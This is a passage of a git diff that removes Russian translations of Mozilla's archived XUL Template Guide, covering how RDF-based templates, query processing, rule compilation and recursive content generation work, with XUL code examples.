-      <content uri="?start"/>
-      <triple subject="?start"
-              predicate="http://www.xulplanet.com/rdf/relatedItem"
-              object="?relateditem"/>
-    </query>
-    <action>
-      <button uri="?relateditem" label="?relateditem"/>
-    </action>
-  </template>
-</vbox>
-
-

Здесь элемент rule не "обрамляет" элемента action, поскольку мы хотим, чтобы контент был создан безусловно. Вместо этого, элемент action помещён внутри элемента template - сразу после запроса. Блок action содержит всего один элемент управления, но вы можете использовать сколь угодно много элементов по-своему усмотрению. В данном случае, для каждого результата будет создана кнопка. Поскольку мы имеем три результата, будет создано три кнопки. Если вы запустите [пример] в своём браузере, вы увидите что-то в этом роде:

-

Image:template-guide-p8.png

-

Конструктор шаблонов последовательно обрабатывает содержимое блока action для каждого из трёх результатов. Атрибут кнопки uri используется для ссылки на значение конечной переменной (ending or member variable). В данном примере мы можем использовать только одну переменную ?relateditem, поскольку ?start - это начальная вершина, а конечная и исходная вершины не могут совпадать. Давайте снова посмотрим на имеющиеся результаты:

-
(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/B)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/C)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/D)
-
-

Конструктор начинает обрабатывать первый набор данных. При этом элемент <button> будет скопирован и вставлен в документ - сразу же после тела шаблона. Атрибут id нового элемента получит значение ?relateditem. Вы можете мысленно представить замену атрибута uri на id, заменяя при этом переменную. Поскольку в первом наборе данных переменная ?relateditem имеет значение 'http://www.xulplanet.com/rdf/B', атрибут id получит это значение.

-

После этого обрабатываются все остальные атрибуты элемента и, если нужно, в них подставляются значения переменных. Так, вместо строки ?relateditem атрибута label получим 'http://www.xulplanet.com/rdf/B' (для первого набора данных). Убедитесь, что первая кнопка действительно имеет такую надпись. Таким образом, обработка первого результата завершена, и поэтому конструктор переходит к следующим. Для второго результата, которому соответствует узел B, конструктор создаст следующий контент:

-
<button id="http://www.xulplanet.com/rdf/B" label="http://www.xulplanet.com/rdf/B"/>
-
-

В блоках action фиксированные, заранее определенные значения атрибута id не используются - они игнорируются. Тем не менее, вы можете использовать предопределённые идентификаторы в других частях шаблона, например, в запросе. Для получения доступа к созданному шаблоном элементу используется, конечно же, метод getElementById. Так можно получить доступ ко второй созданной кнопке: document.getElementById("http://www.xulplanet.com/rdf/C").

-

После окончания работы конструктора шаблонов документ имеет вид:

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-         ref="http://www.xulplanet.com/rdf/A">
-  <template>
-    <query>
-      <content uri="?start"/>
-      <triple subject="?start"
-              predicate="http://www.xulplanet.com/rdf/relatedItem"
-              object="?relateditem"/>
-    </query>
-    <action>
-      <button uri="?relateditem" label="?relateditem"/>
-    </action>
-  </template>
-  <button id="http://www.xulplanet.com/rdf/B" label="http://www.xulplanet.com/rdf/B"/>
-  <button id="http://www.xulplanet.com/rdf/C" label="http://www.xulplanet.com/rdf/C"/>
-  <button id="http://www.xulplanet.com/rdf/D" label="http://www.xulplanet.com/rdf/D"/>
-</vbox>
-
-

Поскольку тэг <template> скрыт, вы увидите только три кнопки с надписями, полученными из источника данных.

-

Дополнительный контент

-

В предыдущем примере в блоке action были задействованы только кнопки. Но мы можем добавить рядом с ними надписи:

-
<action>
-  <hbox uri="?relateditem">
-    <label value="Related Item:"/>
-    <button label="?relateditem"/>
-  </hbox>
-</action>
-
-

Таким образом, для каждого набора данных будет создан элемент <hbox>; при это атрибут id получит значение ?relateditem; внутри будут добавлены надпись и кнопка. Надпись на кнопке образована переменной ?relateditem. В данном случае атрибут id используется только для одного элемента, поскольку каждому результату соответствует лишь один блок <hbox>.

-

Не смотря на то, что атрибут uri используется лишь для одного элемента, этим элементом не обязан быть внешний элемент - прямой потомок элемента action. Вы можете "обернуть" этот элемент другим; таким образом вы получите контейнер, внутри которого и создаётся контент. Этот контейнер создаётся один раз для всех наборов данных. Таким образом для каждого результата копируется только тот элемент, который имеет атрибут uri. Изменив предыдущий пример, получим:

-
<action>
-  <toolbar>
-    <button uri="?relateditem" label="?relateditem"/>
-  </toolbar>
-</action>
-
-

В данном случае для каждого результата будет скопирована только кнопка; панель инструментов будет создана лишь один раз. Таким образом, будет создана панель инструментов с тремя кнопками. Естественно, в таком простом примере было бы лучше поместить шаблон внутрь панели инструментов, имеющей атрибут datasource, а не наоборот.

-

До сих пор мы использовали только переменную ?relateditem, поскольку это единственная полезная переменная. Можно использовать также переменную ?start. Посмотрим на результаты ещё раз:

-
(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/B)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/C)
-(?start = http://www.xulplanet.com/rdf/A, ?relateditem = http://www.xulplanet.com/rdf/D)
-
-

Можно отобразить значение переменной ?start:

-
<action>
-  <hbox uri="?relateditem">
-    <button label="?start"/>
-    <button label="?relateditem"/>
-  </hbox>
-</action>
-
-

Для первой кнопки значение переменной ?start будет вычислено в выходных данных, тогда как вторая кнопка использует значение переменной ?relateditem. Поскольку все результаты используют одно и тоже значение переменной ?start, первая кнопка в каждом ряду имеет одну и ту же надпись. Запустите этот [this пример] и удостоверьтесь, что всё работает правильно.

-

Image:template-guide-p9.png

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/index.html" deleted file mode 100644 index 706e51f872..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/index.html" +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Руководство по шаблонам XUL -slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL -tags: - - XUL - - Руководство_по_шаблонам_XUL -translation_of: Archive/Mozilla/XUL/Template_Guide ---- -
Основы
- -
Синтаксис шаблонов на основе RDF
- -
Синтаксис шаблонов на основе XML
- -
Синтаксис шаблонов на основе SQL
- -
Общий синтаксис шаблонов
- -
Создание деревьев с использованием шаблонов
- -
Модификация шаблона
- -
Дополнительные темы
- -

Interwiki Language Links -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" deleted file mode 100644 index 227967a263..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Введение -slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Введение -tags: - - Руководство_по_шаблонам_XUL -translation_of: Archive/Mozilla/XUL/Template_Guide/Introduction ---- -

Шаблоны XUL используются для автоматического создания контента на основе результатов запроса. Хороший пример - выполнение запроса к базе данных: для каждого набора данных, полученных запросом, создаётся некоторый контент. Синтаксис шаблонов позволяет как создавать новый контент, так и изменять значения атрибутов, используя правила с параметрами. Иногда это называют привязкой данных (databinding). Таким образом, шаблоны XUL используются для эффективной реализации привязки данных. -

Каждый шаблон получает необходимые данные из соответствующего источника. По-умолчанию поддерживается несколько типов источников данных: RDF, XML и базы данных Sqlite. Тем не менее, для поддержки других типов источников данных могут быть написаны соответствующие процессоры. При использовании технологии XUL источник данных определяется атрибутом datasources. Как правило, его значением является URI, указывающий на местонахождение данных. Например, для источника данных XML определяется соответствующий URL. Когда анализатор XUL находит элемент с этим атрибутом, он создаёт конструктор шаблона и связывает его с этим элементом. Предполагается также, что внутри этого элемента находится шаблон. Конструктор шаблона загружает источник данных, выполняет требуемый запрос и на основании полученных результатов генерирует соответсвующий контент. Тип источника данных определяется с помощью шаблона querytype. Тип определяет не только способ использования источника данных, но и синтаксис запросов. -

Сгенерированный шаблоном контент дополняет дерево документа XUL так же, как если бы вы сделали это собственноручно. Например: -

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" querytype="rdf">
-
-

В этом примере источник данных определён файлом 'http://www.xulplanet.com/ds/sample.rdf'; тип источника данных - rdf, это определено атрибутом querytype. -

Для начала давайте посмотрим, как обрабатывается источник данных RDF. Для его загрузки конструктор шаблона использует сервис RDF - тот же самый, который вы можете использовать напрямую. Для определения местонахождения ресурса используется URL. Тем не менее, некоторые источники данных RDF предоставляет платформа Mozilla, и их URL предваряются символами 'rdf:'. Если же это не используется, то источник данных загружается также, как и любой другой файл - по его URL. Если источник данных уже загружен и кеширован, конструктор шаблонов может сразу же начинать работу. В противном случае, ничего не происходит до тех пор, пока данные не загружены, хотя на самом деле это не совсем так. Сервис RDF начинает загрузку данных в фоновом режиме и в это же время начинает работать конструктор шаблонов. Естественно, доколе данные не поступили, ничего не будет отображено и конструктор приостанавливает работу.

Когда данные начинают поступать, конструктор определяет, достаточно ли информации для их обработки. Если это так, генерируется какой-то контент. В противном случае результата опять-таки нет. Интересно, что в силу природы процесса анализа RDF-данных, конструктор обрабатывает данные и выдаёт результат инкрементно, т.е. порциями - одновременно с поступлением данных (это особенно важно, например, для геоинформационных систем, работающих в режиме реального времени и оперирующих с огромными массивами данных). Конечно, поскольку данные поступают из сети достаточно быстро, вы, скорее всего, не заметите этого процесса, но это не умаляет его важности. Если же данные уже загружены, то конструктор обрабатывает их целиком, за один раз, хотя, как мы увидим позже, даже это не совсем так. -

Используя источники данных XML, атрибут querytype должен иметь значение xml. Атрибут datasources должен содержать URL файла XML, который указывает либо на файл на web-сайте, либо на локальный файл, либо на файл chrome. Этот файл будет загружен при обработке шаблона, используя данные в XML файле. Например: -

-
<listbox datasources="http://www.xulplanet.com/ds/sample.xml" querytype="xml">
-  <template>
-    <listitem label="?name"/>
-  </template>
-<listbox>
-
-

Этот шаблон использует данные XML для создания списка элементов(listbox). Не смотря на то, что мы рассмотрим особенности процесса позже, уже сейчас можно сказать, что для каждого дочернего узла дерева данных XML будет создан элемент списка (listitem), атрибут label которого будет соответствовать имени узла в древе XML. -

Для источников данных на основе базы данных Sqlite, атрибут datasources определяет URI файла. Поскольку в этом случае поддерживаются только локальные файлы, используется URL файла. -

Конструктор шаблонов может также использовать несколько источников данных, объединяя их в единое целое - так, если бы это был один источник данных, если это возможно. Этот механизм поддерживает только встроенный RDF; источники данных на основе XML или Sqlite не поддерживают такой возможности. При использовании нескольких источников данных для управления ими создаётся объект с интерфейсом nsIRDFCompositeDataSource. Вы можете получить доступ к нему из скрипта, используя свойство 'database'. Таким образом, вы можете добавлять или исключать источники данных на лету. -

При использовании нескольких источников данных RDF они объединяются в единое целое так, если бы это был один большой источник. Это значит, что запрос в шаблоне может получить данные из любого источника, находящегося в этом объединении. Это в самом деле может быть полезным свойством и работает одинаковым образом независимо от источника данных. Например, вы можете использовать встроенный источник, хранящий информацию о пользовательских закладках в браузере и использовать собственный источник данных для добавления дополнительной информации об этих закладках. -

-
<vbox datasources="rdf:bookmarks http://www.xulplanet.com/ds/sample.rdf">
-
-

Кроме того, при использовании RDF для chrome XUL (таких как расширения), источник данных rdf:local-store всегда включается в смесь источников. Локальное хранилище (local-store) - это источник данных, хранящий различную информацию о состоянии элементов пользовательского интерфейса, таких как размеры окон, список выбранных колонок и раскрытых элементах дерева. Хотя это и редко используется, вы можете запросить любые данные из локального хранилища для использования в шаблоне. -

Иногда вам будет необходимо указать, что источник данных будет определён позже, возможно с помощью скрипта. В этом случае используется специальная форма URI, содержащая префикс rdf:null, обозначающая, что используется пустой источник данных или то, что он будет определён позже. Эта запись также работает и с источниками данных, отличными от RDF, поэтому не стесняйтесь при необходимости использовать её. Это удобная форма указать на то, что для шаблона ещё не определён источник данных, и поэтому нет никаких результатов. -

Interwiki Language Links -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\200\320\265\320\267\321\203\320\273\321\214\321\202\320\260\321\202\320\276\320\262/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\200\320\265\320\267\321\203\320\273\321\214\321\202\320\260\321\202\320\276\320\262/index.html" deleted file mode 100644 index a34c573b4f..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\200\320\265\320\267\321\203\320\273\321\214\321\202\320\260\321\202\320\276\320\262/index.html" +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Генерирование результатов -slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Генерирование_результатов -tags: - - Руководство_по_шаблонам_XUL -translation_of: Archive/Mozilla/XUL/Template_Guide/Result_Generation ---- -

RDF

-

В этом разделе мы рассмотрим, как генерировать контент с помощью шаблонов XUL, используя источник данных RDF. Но вначале нужно познакомиться с основополагающими принципами и идеями. -

Используя математическое определение, можно сказать, что RDF - это размеченный направленный граф. Иными словами, RDF можно представить в виде графа; граф состоит из узлов и соединён стрелками; все стрелки и узлы имеют метки. Поскольку это граф, стрелки могут указывать на какой-угодно узел, а узлы могут иметь любое количество дуг, входящих или выходящих из него. Также, поскольку это граф, не существует начального (корневого) узла, поэтому вы, в принципе, можете начать с любого из них. На следующем графике видно, что из узла A, находящегося в верхней части рисунка, выходят дуги в узлы B, C и D. Из узла C выходит дуга в узел D. Поскольку стрелки могут указывать на любой узел, дуга из узла D может входит в узел A. Для обхода всех вершин дерева можно начать с узла A и, следуя по дугам, перейти к вершинам B, C и D. Вместе с тем, можно начать с узла B, от него перейти к A, а после - к C и D. Нет никаких ограничений на то, каким образом вы будете переходить по дугам: в том направлении, в которым они указывают, или в обратном. Данный график был создан программой RDF validator, разработанной W3C; если вы хотите проверить корректность RDF-файла, воспользуйтесь этим сервисом. -

Image:Template-guide-p2.png -

Красным цветом выделены метки стрелок, называемые предикатами (predicates). В данном примере все стрелки имеют метки; однако так бывает далеко не всегда. Шаблоны же предоставляют способ обхода только тех дуг, которые имеют определённые метки. -Ниже представлен пример возможной сериализация данного графа RDF в формате XML, хотя возможны и другие варианты. -

-
<?xml version="1.0"?>
-<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-  xmlns:rel="http://www.xulplanet.com/rdf/">
-
-  <rdf:Description rdf:about="http://www.xulplanet.com/rdf/A">
-    <rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/B"/>
-    <rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/C"/>
-    <rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/D"/>
-  </rdf:Description>
-
-  <rdf:Description rdf:about="http://www.xulplanet.com/rdf/C">
-    <rel:relatedItem rdf:resource="http://www.xulplanet.com/rdf/D"/>
-  </rdf:Description>
-
-</rdf:RDF>
-
-

Для запроса в шаблоне XUL прежде всего нужно выбрать начальный узел графа. После этого для определения дальнейшего пути обхода используется множество условий. В конечном счёте, будет получен набор узлов, называемых конечными точками. Они и являются результатами выполнения запроса; именно их использует конструктор для генерирования контента. Допустим, вы начинаете с узла A. От него вы можете перейти к вершинам B, C и D и создать, таким образом, три элемента XUL. Или же вы можете начать с узла D и возвратиться по дугам к исходным вершинам. В данном случае получим всего один результат - вершину A. Убедитесь, что в этом случае получаем лишь один результат. -

Используя терминологию шаблонов XUL, назовём начальную вершину контейнером (container) или исходной точкой, а конечную вершину назовём элементом или членом (member). Такие названия используются потому, что в наиболее общем случае удобно говорить о списке элементов или дочерних узлов, собранных в контейнере. Тем не менее, выбор контейнера или его элементов зависит от вас; любой узел может выступать в этом качестве. -

Узлы RDF идентифицируются строкой символов. В RDF можно выделить два типа узлов: ресурсы, соответствующие "сущностям", и литералы, обозначающие имена, даты, размеры и другие свойства этих сущностей. Литералом может быть имя человека, например, "Елисей" или "Гарри Поттер". Значением ресурса является URI, выбранный по вашему усмотрению; мы будем использовать значение URI в шаблонах. На приведённом графике URI ресурсов выделены синим цветом на метках узлов. Хотя в данном примере литералы не используются мы будем использовать их позже. -

С вашего позволения пусть узел A будет начальным; ему соответствует URI (http://www.xulplanet.com/rdf/A). Используя атрибут 'ref', определим начальную вершину в шаблоне. Например, так: -

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-         ref="http://www.xulplanet.com/rdf/A" flex="1">
-
-

Обработка запросов

-

Запрос для источника данных RDF состоит из множества утверждений, оформленных как дочерние узлы элемента query. При обработке запроса конструктор собирает информацию о возможных результатах, расположении сгенерированого контента, и информацию о поведении в случае изменения содержимого источника данных. Эта информация сохраняется в течение всего жизненного цикла шаблона, до тех пока он не будет построен заново или разрушен. Для поиска требуемой информации конструктор шаблонов использует метод, основанный на алгоритме RETE. Это позволяет обновлять результаты эффективно при изменении структуры графа RDF. Т.е. вместо того, чтобы строить весь граф с самого начала, алгоритм позволяет добавить только некоторые его фрагменты и обновить вывод инкрементно. Схожий алгоритм используется при удалении утверждений RDF. -

Не смотря на то, что шаблон хранит множество информации для генерации корректного вывода, нас сейчас интересует информация о возможных результатах. Конструктор начинает, работу, имея всего один возможный начальный результат (seed). После он последовательно обрабатывает условия запроса. Для обработки конкретного условия необходимо рассмотреть все возможные результаты; если результат удовлетворяет условию, то он принимается, в противном случае - отвергается. Для первого условия в качестве возможного результата доступен только начальный (seed). При выполнении последующих шагов могут быть добавлены новые результаты либо иная релевантная информация. Отвергнутые результаты, естественно, будут удалены. После просмотра всех результатов для текущего условия, конструктор переходит к следующему. После обработки всех условий все оставшиеся результаты принимаются в качестве вывода. Они используются для генерации контента. Таким образом, подведём итоги: -

-
  1. Начать работу с одним возможным результатом (seed) -
  2. Для всех уже доступных результатов с дополнительными сведениями повторить шаги -
  3. Добавить все возможные результаты -
  4. Удалить все отвергнутые результаты -
  5. Повторить шаги 2-4 для всех условий запроса -
  6. По окончанию работы все оставшиеся данные становятся выводом -
-

Все возможные результаты образованы наборами пар переменная-значение. Например, результат будет выглядеть примерно так: -

-
(?name = Елисей, ?age = 5)
-
-

Здесь имеются две переменные, ?name со значением "Елисей" и ?age со значением 5. Переменные начинаются со знака вопроса, значениями являются либо ресурсы RDF, либо литералы. В данном случае используются литералы, поскольку это более удобочитаемо. Если бы у нас было два результата, они выглядели бы примерно так: -

-
(?name = Елисей, ?age = 5)
-(?name = Забава, ?age = 12)
-
-

Это обозначение для возможных результатов используется в этом и последующих примерах. -

Если у нас будет запрос, удаляющий все результаты, относящиеся к мужчинам, то после его применения результат будет примерно следующим: -

-
(?name = Забава, ?age = 12, ?gender = Female)
-
-

Таким образом, условие удалило Елисея из потенциальных результатов и добавило переменную ?gender для Забавы. На самом деле, это пример типичного поведения условия запроса: добавить новую переменную к результатам и отсеять те результаты, которые не удовлетворяют условию. Если данное условие было последним в списке, результат Забавы станет конечным выводом. -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\272\320\276\320\274\320\277\320\270\320\273\321\217\321\206\320\270\321\217_\320\277\321\200\320\260\320\262\320\270\320\273/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\272\320\276\320\274\320\277\320\270\320\273\321\217\321\206\320\270\321\217_\320\277\321\200\320\260\320\262\320\270\320\273/index.html" deleted file mode 100644 index 2d055cf6ff..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\272\320\276\320\274\320\277\320\270\320\273\321\217\321\206\320\270\321\217_\320\277\321\200\320\260\320\262\320\270\320\273/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Компиляция правил -slug: Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Компиляция_правил -tags: - - Руководство_по_шаблонам_XUL -translation_of: Archive/Mozilla/XUL/Template_Guide/Rule_Compilation ---- -

Шаблон XUL образован запросом и набором правил. Запрос содержит инструкции для выбора набора данных из их источника. Точный синтаксис зависит от типа источника данных, используемого в шаблоне. Например, для источника Sqlite в качестве запроса используется предложение SQL. Запрос возвращает таблицу результатов с данными, на основании которых впоследствии генерируется вывод. Для источников данных RDF и XML запрос содержит инструкции для обхода вершин графа RDF или дерева XML. Запрос объявляется с помощью тэга query, который должен быть размещён прямо под элементом <template> Цель запроса состоит в порождении набора выходных данных. -

При использовании упрощённого синтаксиса вы можете опустить элемент <rule>. При этом имеется только одно правило и его употребление подразумевается неявно. С другой стороны, расширенный синтаксис всегда требует наличия элемента <rule>. -

Шаблон содержит также набор правил; каждое правило может содержать множество условий для генерации контента. Синтаксис подстановки атрибутов, рассмотренный позже, используется для изменения значения атрибутов элементов, созданных в шаблоне. Каждое правило объявляется с помощью тэга rule; вы можете объявлять несколько правил. Для каждого результата запроса просматриваются условия, определённые правилом, и если они удовлетворяются, генерируется контент. Для каждого результа запроса применяется только первое согласующееся правило. Например, первое правило может быть применено к результатам, соответствующим книгам, тогда как второе правило может быть применено только к результатам, соответствующим журналам. Таким образом, в зависимости от особенностей результирующих данных может быть сгенерирован различный контент. -

Во многих случаях вам будет достаточно одного правила, обрабатывающего все данные одинаковым образом. Например, при создании элементов списка вы, скорее всего, будете использовать всего одно правило. В этом случае элемент rule необязателен. Шаблон без правил (или с правилом без условий) сгенерирует вывод для каждого набора выходных данных. -

Пока что можем представить синтаксис шаблонов примерно таким образом. -

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-         ref="http://www.xulplanet.com/rdf/A" flex="1">
-  <template>
-    <query>
-      -- query content goes here --
-    </query>
-    <rule>
-      -- rule content goes here --
-    </rule>
-    <rule>
-      -- rule content goes here --
-    </rule>
-  </template>
-</vbox>
-
-

Когда конструктор шаблона начинает загрузку и обработку данных, он, прежде всего, должен скомпилировать запрос и правила. Этот шаг включает обработку правил запроса и их преобразование во внутренние структуры. Таким образом, динамическое изменение правил ни на что не влияет, поскольку они уже скомиплированы. Тем не менее, повторная сборка шаблона (с использованием метода builder.rebuild) повторно скомпилирует запрос и правила и применит их для построения шаблона. Это обозначает, что вы можете динамически изменить правила, используя методы объектной модели документа (DOM), повторно собрать шаблон, и получить новый результат. -

Когда конструктор шаблонов скомпилировал правила, он может приступать к обработке запросов и генерации контента. Конструктор генерирует контент лениво (lazily), т.е. обрабатывает столько данных, сколько нужно именно сейчас, и продолжает обработку только тогда, когда это действительно необходимо. Давайте, например, рассмотрим следующий пример: -

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-         ref="http://www.xulplanet.com/rdf/A" hidden="true">
-  <template>
-    ...
-  </template>
-</vbox>
-
-

Элемент <vbox> скрыт (hidden="true"). Поскольку любой сгенерированный контент всё равно не будет отображён, конструктор шаблонов ничего не делает, откладывая работу "на потом". Если же вы отобразите элемент vbox (hidden="false"), будет вызван конструктор шаблонов и сгенерирован соответствующий контент. -

Означает ли это, что шаблоны не могут быть использованы внутри скрытых областей пользовательского интерфейса? Нет, ибо вы можете использовать их и в этом случае. Изменение свойства hidden не является единственным способом вызова конструктора шаблонов и генерации контента. Вызов программного интерфейса объектной модели документа (DOM API), которому необходимо получить доступ к созданному контенту, заставит конструктор генерировать контент. Например, достаточно вызвать код, подобный приведённому ниже, и внутри скрытого элемента vbox конструктор шаблонов создаст контент. -

-
var length = vbox.childNodes.length;
-
-

Таким образом, запрос на количество дочерних узлов элемента vbox заставит конструктор обработать запрос и вывести контент. И только после окончания работы конструктора может быть вычислено требуемое число элементов. -

Всё это должно быть очевидно XUL-разработчику. Решение о том, когда конструктор должен начать работу, принимается автоматически; вам для этого ничего особенного делать не нужно. Тем не менее, есть два случая, когда контент не создаётся автоматически: создание меню и дочерних элементов дерева. -

Содержимое меню не генерируется до тех пор, пока оно не открыто. Это имеет смысл, поскольку пользователь не может видеть содержимого меню до тех пор, пока оно не открыто. Тем не менее, это означает также, что использование программного интерфейса объектной модели документа (DOM API), такое как попытка получить количество дочерних узлов элемента, не заставит конструктор шаблонов создать содержимое до тех пор, пока пользователь не отобразит меню. Это на самом деле важная особенность. Это означает, что вы не можете полагаться на возможность получения сгенерированных элементов меню до тех пор, пока оно не открыто. Похожее правило применяется к дочерним элементам дерева. Таким образом, дочерние элементы дерева не генерируются до тех пор, пока пользователь либо скрипт не вызвают раскрытие строки в дереве. -

Ленивая генерация прийдётся кстати при работе с меню и деревьями, особенно рекурсивными. Создание дочерних элементов узла дерева, особенно тех, которые не отображаются, - весьма трудоёмкий процесс, поэтому конструктор шаблонов откладывает эту работу на потом. -

На самом деле, конструктор ещё более ленив. Если созданный контент сам содержит скрытые дочерние элементы, эти элементы не будут сгенерированы до тех пор, пока это не станет необходимо. При создании дерева контента конструктор обходит дерево и выполняет работу только в том случае, если это действительно необходимо. -

diff --git "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\200\320\265\320\272\321\203\321\200\321\201\320\270\320\262\320\275\320\276\320\265_\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\272\320\276\320\275\321\202\320\265\320\275\321\202\320\260/index.html" "b/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\200\320\265\320\272\321\203\321\200\321\201\320\270\320\262\320\275\320\276\320\265_\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\272\320\276\320\275\321\202\320\265\320\275\321\202\320\260/index.html" deleted file mode 100644 index 44f23c389b..0000000000 --- "a/files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\200\320\265\320\272\321\203\321\200\321\201\320\270\320\262\320\275\320\276\320\265_\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\272\320\276\320\275\321\202\320\265\320\275\321\202\320\260/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Рекурсивное генерирование контента -slug: >- - Mozilla/Tech/XUL/Руководство_по_шаблонам_XUL/Рекурсивное_генерирование_контента -tags: - - Руководство_по_шаблонам_XUL -translation_of: Archive/Mozilla/XUL/Template_Guide/Recursive_Generation ---- -

В предыдущем примере конструктор создал во второй строке лишний набор из двух кнопок. Тем не менее, надписи на кнопках во втором наборе отличаются от надписей в первом наборе. Если вы посмотрите на граф снова, вы можете догадаться, почему так происходит. На нём видно, что узлы C и D соединены дугой с меткой relatedItem. Эта лишняя дуга, которой ни имеет ни узел B, ни узел D, и стала причиной создания дополнительного набора кнопок. -

После создания контента конструктор повторяет таким же образом процесс и на более нижних уровнях - до тех пор, пока это возможно. Таким образом, можно сказать, что конструктор создаёт контент рекурсивно. Т.е. после создания контента на одном уровне, конструктор выполняет работу на новом уровне - для нового родительского узла и новой начальной вершины. Естественно, родительский узел будет выбран из только что созданного контента, а не из какого-либо внешнего элемента, и начальная вершина будет выбрана среди конечных вершин предыдущего набора конечных вершин. В данном случае родительский узел - это элемент с атрибутом datasources, т.е. <vbox>. Для вложенных результатов родительским узлом станет один из элементов, созданных на предыдущем уровне. Таким образом, после первой итерации имеем: -

-
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf"
-      ref="http://www.xulplanet.com/rdf/A">
-  <template>
-    <query>
-      <content uri="?start"/>
-      <triple subject="?start"
-              predicate="http://www.xulplanet.com/rdf/relatedItem"
-              object="?relateditem"/>
-    </query>
-    <action>
-      <hbox uri="?relateditem">
-        <button label="?start"/>
